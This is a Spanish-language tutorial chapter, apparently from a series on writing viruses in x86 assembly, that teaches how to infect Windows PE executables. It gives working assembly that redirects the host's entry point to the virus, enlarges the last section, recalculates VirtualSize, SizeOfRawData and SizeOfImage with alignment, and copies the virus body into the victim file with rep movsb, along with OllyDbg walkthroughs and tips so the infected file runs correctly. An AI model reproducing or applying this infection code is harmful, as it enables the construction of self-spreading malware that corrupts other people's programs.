Вы находитесь на странице: 1из 11

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

Captulo 13
Siguiendo con la rutina de infeccin parte 4
En el captulo anterior habamos preparado la ltima seccin del archivo a infectar
modificndole sus caractersticas para que se pudiera leer y escribir y adems que fuera
ejecutable, ahora apuntaremos el Entry Point a la direccin de inicio del virus que se
alojar al final de esta seccin y luego copiaremos el mismo all.
El Entry Point es la direccin de la primera instruccin que se debe ejecutar en un
programa, le indica al SO donde debe quedar apuntando el registro EIP cuando termina
de cargar un programa para su ejecucin.
Este campo se encuentra en la cabecera PE opcional, con un desplazamiento de 10h
lugares desde el inicio de la misma. Recordemos que dicho valor es un RVA, o sea que
es relativo al inicio del ejecutable en memoria.
Vamos a hacer un alto en este punto para dejar en claro dos conceptos distintos
relacionados a los programas y su ejecucin que a veces es fcil de confundir, y que es
muy importante que quede totalmente comprendido ya que es fundamental para
entender lo que sigue de ac en ms.
Hay que distinguir la diferencia entre un programa en disco y el mismo programa en
memoria cuando se est ejecutando.
Archivo en disco

Archivo en memoria

Cabecera DOS

Cabecera DOS

Cabecera PE

Cabecera PE

Tabla de Secciones

Tabla de Secciones

Seccin de cdigo

Seccin de cdigo

Seccin de datos

Otras secciones

Seccin de datos

Otras secciones

Por un lado tenemos que el inicio y tamao de cada seccin dentro del programa es
distinta si este est en el disco o si est en ejecucin, bsicamente esto est dado por la
direccin donde se deber ubicar en memoria (VirtualAddress) y por el tamao
especificado de la misma (VirtualSize), adems de los alineamientos tanto de disco
(FileAlignment) como de memoria (SectionAlignment).
Adems es importante notar que el rden en que se encuentran las secciones en disco
puede variar al cargarse en memoria si as se determina dentro de la cabecera PE
modificando los valores de la VirtualAddress.

zeroPad2000@gmail.com

pg 1

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

Tenemos que tener muy en cuenta esto ya que en este momento tenemos el programa
a infectar mapeado en memoria, con lo cual lo estamos vindolo tal cual se encuentra en
disco, y cuando copiemos nuestro virus en el mismo tambin hay que tener esta visin
en mente, pero para modificar el valor del Entry Point tenemos que imaginarlo ya en
ejecucin.
Bien, volvamos a EP y veamos como modificarlo para que apunte al inicio de nuestro
virus. Para esto tenemos que tener en cuenta dos valores de la seccin que estamos
modificando (en este caso la ltima del programa host):
VirtualAddress: RVA de la seccin con respecto a la base del host (ubicado en el inicio
de la seccin + 0Ch)
SizeOfRawData: tamao de la seccin alineada (ubicado en el inicio de la seccin +
10h)
Si sumamos ambos valores obtenemos el punto de entrada al virus, recordemos que el
mismo estar ubicado al final de los datos de la ltima seccin del programa vctima.
Veamos esto en OllyDbg para que quede ms claro, para esto abrimos el programa que
hicimos en el primer taller que solamente utiliza un MessageBox (o cualquiera que
elijan) y vamos a Memory (M):

Ubicamos las tablas de secciones (ya vimos en el captulo anterior cmo hacerlo) y nos
posicionamos en la ltima (en este caso .data):

Hacemos doble click sobre la primer columna en la direccin de inicio de la seccin para
que muestre el resto de direcciones como desplazamientos relativos a esta y ah vemos
estos dos campos que mencionbamos anteriormente:

Los valores que tienen son 3000h (+Ch) y 200h (+10h) respectivamente, si los
sumamos obtendremos 3200h. Ese es justamente el final de la seccin y all estar
ubicado nuestro nuevo EP, y ser el inicio del virus en memoria en el momento de su
ejecucin.

zeroPad2000@gmail.com

pg 2

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

El cdigo para hacer esto es muy sencillo, recordemos que del paso anterior nos haba
quedado guardado el inicio de la seccin en el registro EBX. Veamos como quedara:
--------------------------------------------------------------------------------------------------mov
esi, ebx
mov
edx, [esi + 10h]
add
edx, [esi + 0Ch]
--------------------------------------------------------------------------------------------------Y en EDX nos va a quedar el nuevo EP, ahora tenemos que modificar el valor en la
cabecera PE para que al cargar el programa en memoria inicie la ejecucin con nuestro
virus.
El cdigo para realizar esto es el siguiente:
--------------------------------------------------------------------------------------------------mov
eax, [ebp + offset inicioHostMem] ; eax = inicio del host mapeado en mem.
mov
edi, [eax + 3Ch]
; edi = direccin del PE header del host
add
edi, eax
; le sumo la base ya que es una RVA
mov
[edi + 28h], edx
; cambio el valor del EP
--------------------------------------------------------------------------------------------------Recordemos que en el captulo anterior habamos obtenido el Original Entry Point (OEP)
y que lo habamos guardado en la variable entryPoinOrig. Hago esta aclaracin porque
una vez que pisemos este valor en la cabecera del archivo host, va a comenzar la
ejecucin con el cdigo de nuestro virus, pero una vez que termine este deber
devolverle la ejecucin al host original y tendremos que saber a que direccin saltar
(OEP).
Bien, ya modificamos el programa para que inicie la ejecucin con nuestro virus, ahora
vamos a determinar la direccin donde comenzar a copiarlo.
Para trabajar con el EP tuvimos en mente al host desde el punto de vista de la futura
ejecucin, ahora para copiar nuestro especmen tendremos que verlo desde el punto de
vista del mismo en disco. Si ya s es un lo por eso hay que tener bien clara la diferencia
entre el programa en disco y en memoria.
Bsicamente lo que vamos a hacer es obtener la direccin donde termina la ltima
seccin para poder copiar a partir de ah el virus.
Para obtener este valor debemos sumar dos valores de la seccin a infectar:
PointerToRawData = offset (desplazamiento) de la seccin en disco (lo encontramos
en inicio seccin + 14h)
SizeOfRawData = tamao de la seccin en disco alineada (lo encontramos en inicio
seccin + 10h)
Para calcular el EP habamos tomado el valor de la "VirtualAddress" porque
necesitbamos el offset pero en memoria, ahora en cambio necesitamos el offset de la
seccin pero en disco. Veamos el cdigo:

zeroPad2000@gmail.com

pg 3

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

--------------------------------------------------------------------------------------------------mov ebx, [esi + 10h]


; en esi tengo el inicio de la seccin en memoria
; le sumo 10h y obtengo en ebx el SizeOfRawData
add
ebx, [esi + 14h]
; le sumo el valor de PointerToRawData
add
ebx, [ebp + offset inicioHostMem] ; le sumo la base ya que es una RVA
mov [ebp + offset UltimaSeccPE], ebx ; lo guardamos en una variable
--------------------------------------------------------------------------------------------------Despus de ejecutar esta rutina voy a obtener en la variable UltimaSeccPE la direccin
donde termina la seccin.
Lo que tenemos que hacer ahora es aumentar el tamao de la seccin para poder luego
copiar nuestro virus all. Hay que tener cuidado con el alineamiento ya que la seccin
deber estar alineada con el campo FileAlignment.
No vamos a profundizar demasiado con esto ya que la mecnica es la misma que
utilizamos cuando tuvimos que alinear el archivo en memoria, en el captulo 11.
Para realizar esto tendremos que cambiar dos valores de la seccin a modificar,
recordemos que no estamos agregando una nueva, sino que estamos agrandando la
ltima para que contenga nuestro virus.
Hay que cambiar dos valores dentro de la seccin:
VirtualSize: solamente debemos sumarle el tamao del virus (se encuentra en el inicio
de la seccin + 08h)
SizeOfRawData: tenemos que sumarle el tamao del virus pero teniendo en cuenta el
FileAlignment (se encuentra en el inicio de la seccin + 10h)
Adems tendremos que guardar el valor del SizeOfRawData anterior que luego lo vamos
a utilizar para acomodar el valor de SizeOfImage en el paso siguiente.
El cdigo es muy sencillo, y lo vemos a continuacin:
--------------------------------------------------------------------------------------------------mov
eax, longVirus
add
[esi + 08h], eax
; en esi tengo el inicio de la seccin en memoria,
; y en seccion + 08h la VirtualSize (ya incrementada)
mov
mov

ebx, [esi + 10h]


; SizeOfRawData antes de modificarla
[ebp + offset SizeOfRDAnt], ebx
; la guardamos

mov
add

eax, longVirus
eax, ebx

; tamao del virus


; le sumo la SizeOfRawData actual y asi obtengo el
; valor a redondear

mov
xor
div

ebx, [ebp + offset AlineamArchivo] ; edx=alineam. de las secciones en disco


edx, edx
; ponemos edx en cero para realizar la divisin
ebx
; dividimos por el alineamiento

cmp

edx, 0

zeroPad2000@gmail.com

; en edx queda el resto de la divisin

pg 4

Introduccin a la programacin de virus en ASM zeroPad


je
inc

no_incrementaSecc
eax

captulo 13

; si el resto es distinto de cero le suma uno

no_incrementaSecc:
mov
edx, [ebp + offset AlineamArchivo] ; edx=alineam. de las secciones en disco
mul
edx
; multiplico por el alineamiento y obtengo asi el
;tamao alineado en eax
mov

[ebp + offset SizeOfRDNuevo], eax


; guardo el nuevo valor del
;SizeOfRawData alineado

mov
[esi + 10h], eax
; cambio el valor del SizeOfRawData del host
--------------------------------------------------------------------------------------------------Creo que esta rutina no es muy complicada y adems es similar a la que utilizamos en el
captulo 11 cuando cambiamos el tamao de la seccin, por lo que si se les complica les
aconsejo repasar ese captulo.
Ahora vamos a ajustar el valor de SizeOfImage, el cual contiene el tamao total del
archivo alineado y representa la memoria que necesita reservar Windows cuando el
programa es cargado por el loader.
Esto puede que sea muy aburrido, pero es necesario que dejemos ajustados todos estos
valores para que luego no se nos cuelgue nuestro virus en su ejecucin.
El valor que debe tomar SizeOfImage surge de la suma de todas las cabeceras mas
todas las secciones. Hay que tener en cuenta que este valor debe estar alineado con
SectionAlignment (recordemos que ahora estamos trabajando en memoria).
El nuevo valor de SizeOfImage se puede obtener si al VirtualOffset de la ltima seccin
le sumamos el nuevo VirtualSize (original + tamao del virus) y luego lo alineamos.
El virtualOffset se encuentra en seccion + 0Ch y el VirtualSize est en seccion + 08h
como vimos hace un momento. El SizeOfImage que tenemos que modificar est ubicado
en el inicio de la PE header + 50h.
Veamos cmo sera el cdigo para hacer esto:
--------------------------------------------------------------------------------------------------mov
eax, [esi + 08h]
; eax = VirtualSize
add
eax, [esi + 0Ch]
; eax = VirtualSize + VirtualOffset
mov
xor
div
cmp
je
inc

ebx, [ebp + offset AlineamSeccion]


; edx = alineamiento de las secciones
;en memoria
edx, edx
; ponemos edx en cero para realizar la divisin
ebx
; dividimos por el alineamiento
edx, 0
no_incrementaSizeOfI
eax

; en edx queda el resto de la divisin


; si el resto es distinto de cero le suma uno al
;valor obtenido

no_incrementaSizeOfI:

zeroPad2000@gmail.com

pg 5

Introduccin a la programacin de virus en ASM zeroPad


mov
mul
mov
mov
add

captulo 13

edx, [ebp + offset AlineamSeccion]


; edx = alineamiento de las secciones
;en memoria
edx
; multiplico por el alineamiento y obtengo asi el
;tamao alineado en eax
esi, [ebp + offset inicioHostMem]
; apuntamos al inicio del host mapeado
;en memoria
edi, [esi + 3Ch]
; edi = direccin del PE header del host
edi, esi
; le sumo la base ya que es una RVA

mov
[edi + 50h], eax
; guardo la nueva SizeOfImage obtenida
--------------------------------------------------------------------------------------------------Bien ya tenemos todo listo, ahora vamos a copiar nuestro virus en el espacio creado al
final del host original.
Para esto vamos a utilizar una combinacin de dos instrucciones muy potentes que son
rep y movsb, veamos un poco como funcionan:
REP: esta instruccin va acompaada de otra y lo que hace es repetir dicho comando
tantas veces como lo indique el registro ECX. Tambin podramos hacer un loop o ciclo
que realice dicha tarea pero es ms eficiente (y ms claro) de esta forma.
MOVSB: esta instruccin se utiliza de la siguiente forma: MOVSB destino,origen y nos
permite copiar un byte (por eso la B final, tambin podra ser W para word) desde un
origen a un destino. El origen se lo indicamos con los registros DS:SI (Source Index o
ndice fuente) y el destino con ES:DI (Destination Index o ndice destino).
Adems, luego de realizar el movimiento de datos, SI y DI son incrementados para que
apunten a la prxima direccin de memoria.
Pasando esto en limpio tenemos:
1. ES:[DI] <- DS:[SI] (un byte)
2. DI <- DI+1
3. SI <- SI+1
Bien, ya tenemos los comandos para realizar la copia, ahora necesitaremos lo siguiente:

en esi = origen de la copia


en edi = destino de la copia
en ecx = tamao del virus

Bien, veamos el cdigo:


--------------------------------------------------------------------------------------------------lea
esi, [ebp + offset iniciovir]
mov
edi, [ebp + offset UltimaSeccPE]
mov
ecx, longVirus
rep
movsb
--------------------------------------------------------------------------------------------------Eso es todo, ya tenemos nuestro cdigo copiado al final del host. Veamos como funciona
todo esto en OllyDbg. Llevemos todo lo visto al cdigo, compilemos y movamos el virus
a un directorio donde tengamos varis copias intactas de nuetro programa a infectar que

zeroPad2000@gmail.com

pg 6

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

utilizamos siempre (el que muestra un mensaje por pantalla, siempre probamos con
este por su sencillez asi no nos complicamos y podemos entender bien su
funcionamiento).
Un pequeo truco para encontrar rpidamente la seccin de cdigo donde queremos
trabajar es agregarle unas cuantas instrucciones NOP para poder ubicarlas rpidamente
en OllyDbg.
Bien, una vez que tengamos todo listo cargamos el virus en el OllyDbg y localizamos los
NOPs que agregamos y ponemos un BP:

Ahora ejecutamos con F9 y quedaremos parado ah.


Identificamos la primer parte de nuestro virus que se encarga de calcular el nuevo entry
point a partir de la ltima seccin, carguemos en otro Olly el programa original y
veamos estos valores:
Vamos a Memory y vemos el PE Header y ubicamos la cebecera PE, a partir de ah
contamos 28h lugares y tendremos nuestro OEP (original entry point), que en este caso
es 1000h:

Luego bajamos un poco y ubicamos las secciones, nos vamos a laltima (que en este
caso es la .data) y vemos los valores de VirtualAddress y del SizeOfRawData, que
sumados nos darn el nuevo EP:

En este caso vale: 3000h + 200h = 3200h


Ahora con estos datos volvamos a nuestro virus y veamos como el programa modifica
este valor. La primer parte de esta rutina se encarga de esto, y al llegar al final de la

zeroPad2000@gmail.com

pg 7

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

misma tendremos ese valor en EDX, el cual moveremos para sobreescribir el EP del
host.

Si vemos su valor en los registros vemos que efectivamente vale 3200h:

Bien, lo que sigue es simplemente para arreglar alineamientos asi que se los dejo para
que lo vean ustedes, vamos a pasar al final donde realizamos la copia del virus en el
host. Ubicamos esta rutina el el cdigo y ejecutamos hasta ah:

Primero cargamos en ESI la direccin de inicio de nuestro virus y en EDI la direccin


donde termina la ltima seccin del host, que ser el destino de nuestro virus.
Otro valor que necesitamos es la cantidad de bytes a copiar, o sea el tamao de nuestro
virus, esto ya vimos que lo obtenemos a travs de una etiqueta que colocamos al inicio
del mismo y otra al final:
iniciovir:

finvir:
Y luego restando ambos valores:
longVirus

equ finvir - iniciovir

; tamao del virus

Antes de ejecutar esta rutina, veamos que hay en la direccin de memoria de destino,
para ello nos paramos sobre el REP MOVSB y presionamos el botn derecho del mouse y
seleccionamos la opcin Follow in Dump -> First Address:

zeroPad2000@gmail.com

pg 8

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

Y vemos en el dump que est vaca (rellena de ceros):

Tengamos en cuenta que la direccin que muestra (en este caso 001D0A00) puede
variar ya que es el lugar en memoria donde el SO mape nuestro host.
Ahora ejecutemos de una vez la instruccin con F8 y veamos que qued en el dump:

Cmo sabemos si esto es correcto, fcil, nos vamos al inicio de la pantalla y vemos que
los opcodes coinciden con las instrucciones de nuestro virus (E8 00 00 00 00 5D 81 .) :

zeroPad2000@gmail.com

pg 9

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

Bien, eso es todo por ahora, solamente un par de recomendaciones: tenemos que tener
cuidado cuando probemos nuestro virus ya que en cada ejecucin (sobre todo si
ejecutamos una parte y la dejamos) ir modificando los archivos vctimas que tengamos
en nuestro directorio y si tratamos de reinfectarlo puede dar cualquier resultado y
podemos rompernos la cabeza para descubrir porque algo no funciona como
esperbamos.
Otra cosa importante es que hay que tener en cuenta que cada vez que ponemos un BP
se modifica el cdigo en memoria por un valor 0CCh (como vimos en el captulo 3) y
aunque OllyDbg lo oculta para que veamos la direccin original este valor se copiar
cuando hagamos el MOVSB. Esto es otra cosa que nos puede volver locos si no la
tenemos en cuenta y luego no funciona correctamente el archivo infectado.
Hagamos una prueba rpida para probar esto ltimo, recarguemos nuestro programa y
verifiquemos que no tiene ningn BP, ahora pongamos un BP (con F2) en la segunda
instruccin del mismo:

Y en la instruccin de copia (REP MOVSB):

Ahora ejecutemos con F9 hasta llegar al segundo BP y veamos donde se copiar como
hicimos anteriormente con Follow in Dump -> First Address. Luego presionamos F8
para ejecutar esta instruccin y veamos como queda el dump:

Y ah vemos que en vez de copiar el opcode original copi CC con lo cual el nuevo
archivo infectado se ejecutar errneamente.
Es importante ir teniendo en cuenta todos estos aspectos al igual que el tema de los
alineamientos para que luego nuestro especmen funcione correctamente.
Bueno, eso es todo por ahora, slo nos queda ver cmo le devolvemos la ejecucin al
host original luego de producida la infeccin y el ajuste de algunos valores que ayudarn
al correcto funcionamiento del virus.

zeroPad2000@gmail.com

pg 10

Introduccin a la programacin de virus en ASM zeroPad

captulo 13

S que a veces repito varias veces algunas cosas pero es porque me parece importante
que se comprenda bien su funcionamiento y adems son las cosas que en su momento
cuando empec a ver este tema de los virus me resultaron ms complicadas.
Eso esto todo por ahora, nos vemos en la prxima.
:: zeroPad ::
Junio 2012

zeroPad2000@gmail.com

pg 11

Вам также может понравиться